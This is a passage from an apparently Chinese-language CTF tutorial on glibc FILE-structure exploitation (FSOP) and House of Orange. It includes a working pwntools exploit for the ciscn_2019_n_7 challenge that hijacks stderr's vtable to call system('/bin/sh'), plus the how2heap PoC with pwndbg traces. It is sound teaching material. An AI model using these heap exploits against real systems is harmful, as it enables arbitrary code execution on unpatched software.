  __showmanyc = 0x7efe86405b00 <_IO_default_showmanyc>,

  __imbue = 0x7efe86405b10 <_IO_default_imbue>

}

  • _IO_FILE结构体里_flags_IO_read_ptr之间相差8字节,结构体会地址对齐

1

2

3

4

pwndbg> p &(stderr->_flags)

$8 = (int *) 0x7f9d0bb2b540 <_IO_2_1_stderr_>

pwndbg> p &(stderr->_IO_read_ptr)

$9 = (char **) 0x7f9d0bb2b548 <_IO_2_1_stderr_+8>

步骤4:触发exit ->_IO_flush_all_lockp -> __overflow

1

2

3

4

command('a')

sleep(0.5)

itr()

exp

  • 人工计算

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

from pwn import  *

from LibcSearcher import LibcSearcher

context(log_level='debug')

def ret2libc(leak, func, path=''):

    if path == '':

        libc = LibcSearcher(func, leak)

        base = leak - libc.dump(func)

        system = base + libc.dump('system')

        binsh = base + libc.dump('str_bin_sh')

    else:

        libc = ELF(path)

        base = leak - libc.sym[func]

        system = base + libc.sym['system']

        binsh = base + libc.search('/bin/sh').next()

    return (system, binsh)

s       = lambda data               :p.send(str(data))

sa      = lambda delim,data         :p.sendafter(str(delim), str(data))

sl      = lambda data               :p.sendline(str(data))

sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))

r       = lambda num=4096           :p.recv(num)

ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)

itr     = lambda                    :p.interactive()

uu32    = lambda data               :u32(data.ljust(4,'\0'))

uu64    = lambda data               :u64(data.ljust(8,'\0'))

leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

p = process("./ciscn_2019_n_7")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

elf = ELF("./ciscn_2019_n_7")

def dbg():

    gdb.attach(p)

    pause()

def command(id):

    ru("-> \n")

    sl(str(id))

def add(article_len,author_name):

    command(1)

    ru('Input string Length: \n')

    sl(str(article_len))

    ru('Author name:\n')

    s(author_name)

def edit(name, content):

    command(2)

    ru("New Author name:\n")

    sl(name)

    ru("New contents:\n")

    s(content)

command(666)

puts_addr = int(r(14),16)

leak("puts_addr",puts_addr)

libc_base = puts_addr-libc.sym['puts']

leak("libc_base",libc_base)

IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base

leak("IO_2_1_stderr", IO_2_1_stderr)

system=libc_base+libc.sym['system']

leak("system", system)

payload = 'a'*8 + p64(IO_2_1_stderr)

add(0xf8,payload)

payload = '/bin/sh'.ljust(32, '\x00') + p64(0) + p64(1)

payload += p64(0)*4 + p64(system)*4 

payload = payload.ljust(0xd8, '\x00')

payload += p64(IO_2_1_stderr+0x40)

edit('a\n', payload)

sleep(0.5)

command('a')

sleep(0.5)

itr()

  • 利用pwn_debug构造fake_file

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

......

from pwn_debug import *

context(log_level='debug',arch='amd64')

......

command(666)

puts_addr = int(r(14),16)

leak("puts_addr",puts_addr)

libc_base = puts_addr-libc.sym['puts']

leak("libc_base",libc_base)

IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base

leak("IO_2_1_stderr", IO_2_1_stderr)

system=libc_base+libc.sym['system']

leak("system", system)

payload = 'a'*8 + p64(IO_2_1_stderr)

add(0xf8,payload)

libc.address = libc_base

fake_file=IO_FILE_plus()

fake_file._flags = 0x0068732f6e69622f

fake_file._IO_write_base = 0

fake_file._IO_write_ptr = 1

fake_file._mode = 0

fake_file._IO_save_end = libc.sym["system"]

fake_file.vtable = libc.sym["_IO_2_1_stderr_"]+0x40

fake_file.show()

edit('a\n',str(fake_file))

sleep(0.5)

command('a')

sleep(0.5)

p.interactive()

< 2.26

原理为:堆溢出 + size(top chunk)<size(request) + unsorted bin attack + fsop

house of orange攻击的主要思路是利用unsorted bin attack修改_IO_list_all指针,并伪造_IO_FILE_plus结构体及其vtable(虚函数表)来劫持控制流。

  • 利用过程

    • 通过堆溢出漏洞把top chunk的size改小

    • 通过申请一个比溢出修改后top chunk的size更大的chunk,使得top chunk进入unsorted bin,泄露出libc基址

    • 通过unsorted bin attack_IO_list_all内容从_IO_2_1_stderr_改为main_arena+88/96(实则指向top chunk

    • old_top_chunk伪造_IO_FILE_plus结构体及其vtable(虚表)来劫持控制流

_IO_FILE_plus结构体中,_chain的偏移为0x68,而top chunk之后为0x8单位的last_remainder,接下来为unsorted binfdbk指针,共0x10大小,再之后为small bin中的指针(每个small binfdbk指针,共0x10个单位),剩下0x50的单位,从smallbin[0]正好分配到smallbin[4](准确说为其fd字段),大小就是从0x200x60,而smallbin[4]fd字段中的内容为该链表中最靠近表头的small bin的地址 (chunk header),因此0x60small bin的地址即为fake struct_chain中的内容,只需要控制该0x60small bin(以及其下面某些堆块)中的部分内容,即可进行FSOP

  • 利用条件
    • 堆溢出漏洞
      • 能修改top chunk的size
        • 分配的chunk大小小于0x20000,大于top chunk的size
        • top chunk大小大于MINSIZE
        • top chunk的inuse等于1
        • top chunk的大小要对齐到内存页
      • 能修改bk ->unsortedbin attack -> 任意地址写 -> 修改IO_list_all的内容
      • 能在top chunk伪造IO_FILEvtable
    • 能泄露chunk的内容 -> 泄露libc某个地址 -> 泄露出_IO_list_all的地址

3.1 how2heap

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

// gcc house_of_orange.c -g -o house_of_orange

int winner ( char *ptr);

int main()

{

    char *p1, *p2;

    size_t io_list_all, *top;

    // 首先 malloc 一块 0x400 大小的 chunk

    p1 = malloc(0x400-16);

    // 假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01

    top = (size_t *) ( (char *) p1 + 0x400 - 16);

    top[1] = 0xc01;

    // 再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk

    p2 = malloc(0x1000);

    // 此时top[2]和top[3]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是0x9a8,计算得到 _IO_list_all的地址

    io_list_all = top[2] + 0x9a8;

    // 假设存在堆溢出,设置old top chunk的bk指针为 io_list_all - 0x10,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址

    top[3] = io_list_all - 0x10;

    // 将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    top[1] = 0x61;

    _IO_FILE *fp = (_IO_FILE *) top;

    // 为调用_IO_OVERFLOW需满足一些检查,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr

    fp->_mode = 0;

    fp->_IO_write_base = (char *) 2;

    fp->_IO_write_ptr = (char *) 3;

    // 将_IO_OVERFLOW 改为 system 函数的地址

    size_t *jump_table = &top[12];

    jump_table[3] = (size_t) &winner;

    // 把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表

    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;

    // 执行malloc中的攻击链

    malloc(10);

    return 0;

}

int winner(char *ptr)

{

    system(ptr);

    return 0;

}

调试分析

泄露_IO_list_all的地址

1.分配一个chunk

1

2

// 首先 malloc 一块 0x400 大小的 chunk

p1 = malloc(0x400-16);

1

2

3

4

5

6

7

8

pwndbg> heap

Allocated chunk | PREV_INUSE

Addr: 0x602000

Size: 0x401

Top chunk | PREV_INUSE

Addr: 0x602400

Size: 0x20c01       <--  0x20c00+0x400 = 0x21000 (页对齐(0x1000))

2.溢出修改top chunk的size

1

2

3

// 假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01

top = (size_t *) ( (char *) p1 + 0x400 - 16);

top[1] = 0xc01;

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

pwndbg> p top

$1 = (size_t *) 0x602400

pwndbg> heap

Allocated chunk | PREV_INUSE

Addr: 0x602000

Size: 0x401

Top chunk | PREV_INUSE

Addr: 0x602400

Size: 0xc01

pwndbg> p top

$2 = (size_t *) 0x602400

pwndbg> x/4gx 0x602400

0x602400:    0x0000000000000000    0x0000000000000c01   <-- 0xc00+0x400 = 0x1000 页对齐

0x602410:    0x0000000000000000    0x0000000000000000

3.malloc一个更大的chunk时,将top chunk释放到unsortedbin中

1

2

// 再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk

p2 = malloc(0x1000);

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

pwndbg> bin

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x602400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602400 

smallbins

empty

largebins

empty

pwndbg> x/4gx (char*)(&main_arena)+88

0x7ffff7dd1b78 <main_arena+88>:    0x0000000000624010    0x0000000000000000

0x7ffff7dd1b88 <main_arena+104>:    0x0000000000602400    0x0000000000602400

pwndbg> x/4gx 0x602400

0x602400:    0x0000000000000000    0x0000000000000be1

0x602410:    0x00007ffff7dd1b78    0x00007ffff7dd1b78   <-- old top chunk的fd和bk都存储unsoredbin地址

heap的变化如下所示:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

// 溢出修改top的size前

      0x602000     0x602400               0x623000 

          |------------|------...-------------|

          |    chunk   | Top  ...             |

          |------------|------...-------------|

      heap start                          heap end

// 溢出修改top的size后

      0x602000     0x602400      0x603000   0x623000

          |------------|------..------|--...--|

          |    chunk   | Top  ..      |  ...  |

          |------------|------..------|--...--|

     heap start                    heap end

// malloc(0x1000)后

      0x602000     0x602400      0x603000   0x623000  0x624010

          |------------|------..------|--...--|---------|-----..----|

          |    chunk   | Top(free) .. |  ...  | chunk p2| new Top   |

          |------------|------..------|--...--|---------|-----..----|

     heap start                                                 new heap end

4.泄露出_IO_list_all的地址

1

2

// 此时top[2]和top[3]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是0x9a8,计算得到 _IO_list_all的地址

io_list_all = top[2] + 0x9a8;

1

2

pwndbg> p/x io_list_all

$16 = 0x7ffff7dd2520

为unsortedbin attack作准备

回顾unsortedbin attack,从unsorted bin中取出chunk时,会执行以下代码:

1

2

3

4

5

6

7

8

9

10

11

for (;; )

  {

    int iters = 0;

    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) // 将最后一个chunk(victim)取出

      {

        bck = victim->bk; // bck为倒数第二个chunk

        ......

        /* remove from unsorted list */

        unsorted_chunks (av)->bk = bck; // 若发生攻击,则unsortedbin的bk设置成了改写的victim->bk

        bck->fd = unsorted_chunks (av); // 把倒数第二个chunk的fd设置为unsorted_chunks(av)

        ......

所以,如果将victim的bk改写为某个地址,则可以向这个地址+0x10(即为bck->fd)的地方写入unsortedbin的地址(&main_arena+88)

5.为unsortedbin attack作准备,将old top chunk的bk指针为 io_list_all - 0x10

1

2

// 假设存在堆溢出,设置old top chunk的bk指针为 io_list_all - 0x10,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址

top[3] = io_list_all - 0x10;

1

2

3

pwndbg> x/4gx top

0x602400:    0x0000000000000000    0x0000000000000be1

0x602410:    0x00007ffff7dd1b78    0x00007ffff7dd2510

为fsop作准备

回顾fsop:

  • _IO_flush_all_lockp 中调用_IO_OVERFLOW的条件,根据短路原理可知需满足:

    • fp->_mode <= 0
    • fp->_IO_write_ptr > fp->_IO_write_base
  • FSOP攻击条件

    • 能泄露出libc的基址 -> 泄露出_IO_list_all的地址(满足)
    • 有可控内存 -> 伪造_IO_FILEvtable(无法控制main_arena中的数据)
    • 任意地址写 -> 将_IO_list_all的内容改为指向可控内存的指针(满足)

6.为fsop作准备

前面unsortedbin attack可将_IO_list_all指针的值修改为main_arena+88。但这还不够,因为我们很难控制main_arena中的数据,并不能在mode、_IO_write_ptr_IO_write_base的对应偏移处构造出合适的值。

所以将目光转向_IO_FILE的链表特性。_IO_flush_all_lockp函数会通过fp = fp->_chain不断的寻找下一个_IO_FILE

所以如果可以修改fp->_chain到一个我们伪造好的_IO_FILE的地址,那么就可以成功实现利用了。

巧妙的是,_IO_FILE结构中的_chain字段对应偏移是0x68,而在main_arena+88对应偏移为0x68的地址正好是大小为0x60的small bin的bk,而由于我们能通过溢出漏洞改old top chunk的size,所以在将其链入smallbin[0x60]之后,就可以实现如下图所示的攻击链。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样

memcpy( ( char *) top, "/bin/sh\x00", 8);

top[1] = 0x61;

_IO_FILE *fp = (_IO_FILE *) top;

// 为调用_IO_OVERFLOW需满足一些检查,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr

fp->_mode = 0;

fp->_IO_write_base = (char *) 2;

fp->_IO_write_ptr = (char *) 3;

// 将_IO_OVERFLOW 改为 system 函数的地址

size_t *jump_table = &top[12];

jump_table[3] = (size_t) &winner;

// 把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表

*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

pwndbg> p *((struct _IO_FILE_plus*)0x602400)

$18 = {

  file = {

    _flags = 1852400175,                              <-- _flags = "/bin/sh"

    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,

    _IO_read_base = 0x7ffff7dd2510 "",

    _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,        <-- fp->_IO_write_ptr > fp->_IO_write_base

    _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,

    _IO_write_end = 0x0,

    _IO_buf_base = 0x0,

    _IO_buf_end = 0x0,

    _IO_save_base = 0x0,

    _IO_backup_base = 0x0,

    _IO_save_end = 0x0,

    _markers = 0x0,                 <-- top[12] / jump_table[0]

    _chain = 0x0,           <-- jump_table[1]

    _fileno = 0,            <-- jump_table[2]

    _flags2 = 0,            

    _old_offset = 4196051,  <-- jump_table[3]

    _cur_column = 0,

    _vtable_offset = 0 '\000',

    _shortbuf = "",

    _lock = 0x0,

    _offset = 0,

    _codecvt = 0x0,

    _wide_data = 0x0,

    _freeres_list = 0x0,

    _freeres_buf = 0x0,

    __pad5 = 0,

    _mode = 0,                          <-- fp->_mode <= 0

    _unused2 = '\000' <repeats 19 times>

  },

  vtable = 0x602460                 <-- vtable = &top[12]

}

pwndbg> x/gx 0x602400

0x602400:    0x0068732f6e69622f

pwndbg> x/s 0x602400

0x602400:    "/bin/sh"

发起攻击

1

2

3

4

5

6

7

8

9

// 执行malloc中的攻击链:

//    malloc中第一次大for循环:old_top_chunk从unsortedbin脱链(unsortedbin attack)

// -> old_top_chunk 插入0x60大小对应的smallbin(将main_arena+88为起始地址的IO_FILE结构体中的chain修改为&old_top_chunk)

// -> malloc中第二次大for循环:unsortedbin->bk不等于自身(unsortedbin attack攻击结果),而其size为0,检查的时候触发异常,调用malloc_printerr,进而调用_IO_flush_all_lockp,导致fsop。

    malloc(10);

7.unsortedbin attack实施

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

pwndbg> dir /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio

Source directories searched: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio:$cdir:$cwd

pwndbg> dir /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc

Source directories searched: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc:/home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio:$cdir:$cwd

pwndbg> p _IO_list_all

$29 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>

pwndbg> p &_IO_list_all 

$30 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all>

pwndbg> wa *0x7ffff7dd2520 

Hardware watchpoint 2: *0x7ffff7dd2520

pwndbg> c

Continuing.

Hardware watchpoint 2: *0x7ffff7dd2520

Old value = -136501952

New value = -136504456 

warning: Source file is more recent than executable.

3527              if (size == nb)

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────

*RAX  0x7fffffffdbdf ◂— 0x0

*RBX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000001

*RCX  0x7c

*RDX  0x7ffff7dd1b28 (main_arena+8) ◂— 0x0

*RDI  0x7fffffffdbe0 ◂— 0x0

*RSI  0x60

 R8   0x623000 ◂— 0x0

 R9   0x0

 R10  0x46c

 R11  0x7ffff7b5afa0 (__memcpy_avx_unaligned) ◂— mov    rax, rdi

*R12  0x2710

*R13  0x7ffff7dd1b78 (main_arena+88) —▸ 0x624010 ◂— 0x0

*R14  0x602400 ◂— 0x68732f6e69622f /* '/bin/sh' */

*R15  0x7ffff7dd2510 ◂— 0x0

*RBP  0x20

*RSP  0x7fffffffdb60 ◂— 0x7fff00000002

*RIP  0x7ffff7a8ee3c (_int_malloc+684) ◂— je     0x7ffff7a8f2e8

──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────

 0x7ffff7a8ee3c <_int_malloc+684>    je     _int_malloc+1880 <_int_malloc+1880>

   0x7ffff7a8ee42 <_int_malloc+690>    cmp    rsi, 0x3ff

   0x7ffff7a8ee49 <_int_malloc+697>    jbe    _int_malloc+536 <_int_malloc+536>

    

   0x7ffff7a8eda8 <_int_malloc+536>    mov    ecx, esi

   0x7ffff7a8edaa <_int_malloc+538>    shr    ecx, 4

   0x7ffff7a8edad <_int_malloc+541>    lea    eax, [rcx + rcx - 2]

   0x7ffff7a8edb1 <_int_malloc+545>    cdqe  

   0x7ffff7a8edb3 <_int_malloc+547>    lea    rax, [rbx + rax*8 + 0x60]

   0x7ffff7a8edb8 <_int_malloc+552>    mov    rdi, qword ptr [rax + 8]

   0x7ffff7a8edbc <_int_malloc+556>    lea    r8, [rax - 8]

   0x7ffff7a8edc0 <_int_malloc+560>    mov    eax, ecx

──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────

In file: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc/malloc.c

   3522           unsorted_chunks (av)->bk = bck;

   3523           bck->fd = unsorted_chunks (av);

   3524

   3525           /* Take now instead of binning if exact fit */

   3526

 3527           if (size == nb)   <------------------------ unsortedbin attack攻击结束

   3528             {

   3529               set_inuse_bit_at_offset (victim, size);

   3530               if (av != &main_arena)

   3531                 victim->size |= NON_MAIN_ARENA;

   3532               check_malloced_chunk (av, victim, nb);

──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────

00:0000│ rsp  0x7fffffffdb60 ◂— 0x7fff00000002

01:0008│      0x7fffffffdb68 ◂— 0xa /* '\n' */

02:0010│      0x7fffffffdb70 —▸ 0x7fffffffdbe0 ◂— 0x0

03:0018│      0x7fffffffdb78 —▸ 0x7ffff7b5048b (_dl_addr+443) ◂— add    rsp, 0x28

04:0020│      0x7fffffffdb80 ◂— 0x0

05:0028│      0x7fffffffdb88 —▸ 0x7fffffffdbe8 —▸ 0x7ffff7fd9000 —▸ 0x7ffff7a0d000 ◂— jg     0x7ffff7a0d047

06:0030│      0x7fffffffdb90 ◂— 0xffff800000002421 /* '!$' */

07:0038│      0x7fffffffdb98 —▸ 0x7fffffffdbdf ◂— 0x0

────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────

 ► f 0     7ffff7a8ee3c _int_malloc+684

   f 1     7ffff7a911d4 malloc+84

   f 2           4006cc main+246

   f 3     7ffff7a2d840 __libc_start_main+240

──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

pwndbg> p _IO_list_all 

$31 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88>

8.查看修改top[1] = 0x61;的结果:unsortedbin所在地址 + 0x68smallbin[0x60]->bk)变成&old_top_chunk

前面通过溢出将位于unsorted bin中的chunk(old top chunk的部分)的size修改为0x61。那么在这一次malloc的时候,因为在其他bin中都没有合适的chunk,malloc进入大循环,把unsorted bin中的chunk插入到对应的small bin或large bin中。第7步是将old_top_chunk从unsortedbin脱下来,接下来就是将其插入0x60大小的smallbin中了。同时,该small bin的fd和bk都会变为此chunk的地址。

大循环里将从unsortedbin脱下来的chunk插入smallbin的代码如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

/* remove from unsorted list */

unsorted_chunks (av)->bk = bck;

bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb) // 和申请的大小不匹配,不走进去

  {

    ......

  }

/* place chunk in bin */

if (in_smallbin_range (size)) // 走这

  {

    victim_index = smallbin_index (size);

    bck = bin_at (av, victim_index);  // bck指向对应index的smallbin的prev_size

    fwd = bck->fd;                    // 若smallbin里没有chunk,则其fd和bk都是指向其prev_size的,看下面调试

  }

else

  {

  ......

  }

mark_bin (av, victim_index); // 然后走这

victim->bk = bck;

victim->fd = fwd;

fwd->bk = victim;

bck->fd = victim;

接着步骤7,单步调试,走到mark_bin (av, victim_index);

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

pwndbg> p victim   

$37 = (mchunkptr) 0x602400

pwndbg> p fwd      

$38 = (mchunkptr) 0x7ffff7dd1bc8 <main_arena+168>

pwndbg> p bck      

$39 = (mchunkptr) 0x7ffff7dd1bc8 <main_arena+168>

pwndbg> p victim_index

$40 = 6

pwndbg> p (char*)&main_arena+88

pwndbg> p/x 0x7ffff7dd1bc8-0x7ffff7dd1b78

$42 = 0x50

pwndbg> x/20gx 0x7ffff7dd1b78

0x7ffff7dd1b78 <main_arena+88>:    0x0000000000624010    0x0000000000000000

0x7ffff7dd1b88 <main_arena+104>:    0x0000000000602400    0x00007ffff7dd2510    <-- smallbin[0x20]

0x7ffff7dd1b98 <main_arena+120>:    0x00007ffff7dd1b88    0x00007ffff7dd1b88    <-- smallbin[0x30]

0x7ffff7dd1ba8 <main_arena+136>:    0x00007ffff7dd1b98    0x00007ffff7dd1b98    <-- smallbin[0x40]

0x7ffff7dd1bb8 <main_arena+152>:    0x00007ffff7dd1ba8    0x00007ffff7dd1ba8    <-- smallbin[0x50]

0x7ffff7dd1bc8 <main_arena+168>:    0x00007ffff7dd1bb8    0x00007ffff7dd1bb8    <-- smallbin[0x60]

0x7ffff7dd1bd8 <main_arena+184>:    0x00007ffff7dd1bc8    0x00007ffff7dd1bc8    <-- smallbin[0x60]的fd和bk

0x7ffff7dd1be8 <main_arena+200>:    0x00007ffff7dd1bd8    0x00007ffff7dd1bd8

0x7ffff7dd1bf8 <main_arena+216>:    0x00007ffff7dd1be8    0x00007ffff7dd1be8

0x7ffff7dd1c08 <main_arena+232>:    0x00007ffff7dd1bf8    0x00007ffff7dd1bf8

继续单步调试,走完bck->fd = victim;

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

pwndbg> p fwd->bk

$43 = (struct malloc_chunk *) 0x602400 

pwndbg> p bck->fd

$44 = (struct malloc_chunk *) 0x602400 

pwndbg> x/20gx 0x7ffff7dd1b78

0x7ffff7dd1b78 <main_arena+88>:    0x0000000000624010    0x0000000000000000

0x7ffff7dd1b88 <main_arena+104>:    0x0000000000602400    0x00007ffff7dd2510

0x7ffff7dd1b98 <main_arena+120>:    0x00007ffff7dd1b88    0x00007ffff7dd1b88

0x7ffff7dd1ba8 <main_arena+136>:    0x00007ffff7dd1b98    0x00007ffff7dd1b98

0x7ffff7dd1bb8 <main_arena+152>:    0x00007ffff7dd1ba8    0x00007ffff7dd1ba8

0x7ffff7dd1bc8 <main_arena+168>:    0x00007ffff7dd1bb8    0x00007ffff7dd1bb8

0x7ffff7dd1bd8 <main_arena+184>:    0x0000000000602400    0x0000000000602400

0x7ffff7dd1be8 <main_arena+200>:    0x00007ffff7dd1bd8    0x00007ffff7dd1bd8

0x7ffff7dd1bf8 <main_arena+216>:    0x00007ffff7dd1be8    0x00007ffff7dd1be8

0x7ffff7dd1c08 <main_arena+232>:    0x00007ffff7dd1bf8    0x00007ffff7dd1bf8

pwndbg> p victim->bk

$45 = (struct malloc_chunk *) 0x7ffff7dd1bc8 <main_arena+168>

pwndbg> p victim->fd

$46 = (struct malloc_chunk *) 0x7ffff7dd1bc8 <main_arena+168>

pwndbg> p *((struct _IO_FILE_plus*)0x7ffff7dd1b78)

$47 = {

  file = {

    _flags = 6438928,

    _IO_read_ptr = 0x0,

    _IO_read_end = 0x602400 "/bin/sh",

    _IO_read_base = 0x7ffff7dd2510 "",

    _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "",

    _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "",

    _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",

    _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177",

    _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",

    _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177",

    _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",

    _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177",

    _markers = 0x602400

    _chain = 0x602400,   

    _fileno = -136504360,

    _flags2 = 32767,

    _old_offset = 140737351850968,

    _cur_column = 7144,

    _vtable_offset = -35 '\335',

    _shortbuf = <incomplete sequence \367>,

    _lock = 0x7ffff7dd1be8 <main_arena+200>,

    _offset = 140737351851000,

    _codecvt = 0x7ffff7dd1bf8 <main_arena+216>,

    _wide_data = 0x7ffff7dd1c08 <main_arena+232>,

    _freeres_list = 0x7ffff7dd1c08 <main_arena+232>,

    _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>,

    __pad5 = 140737351851032,

    _mode = -136504280,

    _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000"

  },

  vtable = 0x7ffff7dd1c38 <main_arena+280>

}

pwndbg> bin

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all [corrupted]

FD: 0x602400 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x602400

BK: 0x7ffff7dd2510 ◂— 0x0

smallbins

0x60: 0x602400 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x602400

largebins

empty

此时,IO_list_allIO_FILE(main_arena+88)IO_FILE(old_top_chunk)三者已经链接起来了,接下来就只需要触发_IO_flush_all_lockp -> __overflow就可以了

9.触发_IO_flush_all_lockp

for循环结束一次,接着进行第二次循环。由于unsortedbin attack的时候破坏了unsorted bin的链表结构,所以接下来的分配过程会出现错误,系统调用malloc_printerr去打印错误信息,从而被劫持流程,执行到winner,然后由winner执行system函数:

1

2

3

4

5

6

7

8

9

10

for (;; )

  {

    int iters = 0;

    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))

      {

        bck = victim->bk;

        if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)

            || __builtin_expect (victim->size > av->system_mem, 0))

          malloc_printerr (check_action, "malloc(): memory corruption",   <-- 这里会触发_IO_flush_all_lockp

                           chunk2mem (victim), av);

调试:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

pwndbg>

3481                malloc_printerr (check_action, "malloc(): memory corruption",

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────

 RAX  0x0

 RBX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000001

 RCX  0x6

 RDX  0x40

 RDI  0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ...

 RSI  0x0

